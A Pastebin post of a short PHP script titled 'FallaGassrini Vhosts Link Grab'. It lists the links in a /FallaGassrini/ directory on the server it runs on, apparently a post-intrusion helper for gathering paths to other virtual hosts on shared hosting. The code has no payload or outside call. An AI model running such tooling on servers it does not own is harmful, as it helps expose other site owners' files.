Advertisement
willysec_id

FallaGassrini Vhosts Link Grab

Mar 9th, 2024
589
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.40 KB | Cybersecurity | 0 0
  1. <?php
  2. $protocol = stripos($_SERVER['SERVER_PROTOCOL'],'https') === 0 ? 'https://' : 'http://';
  3. $url = $protocol.$_SERVER['SERVER_NAME'].'/FallaGassrini/';
  4. $html = file_get_contents($url);
  5. $dom = new DOMDocument;
  6. @$dom->loadHTML($html);
  7. $links = $dom->getElementsByTagName('a');
  8. echo "<pre>";
  9. foreach ($links as $link){
  10.     //echo $link->nodeValue;
  11.     echo $url.$link->getAttribute('href'), '<br>';
  12. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement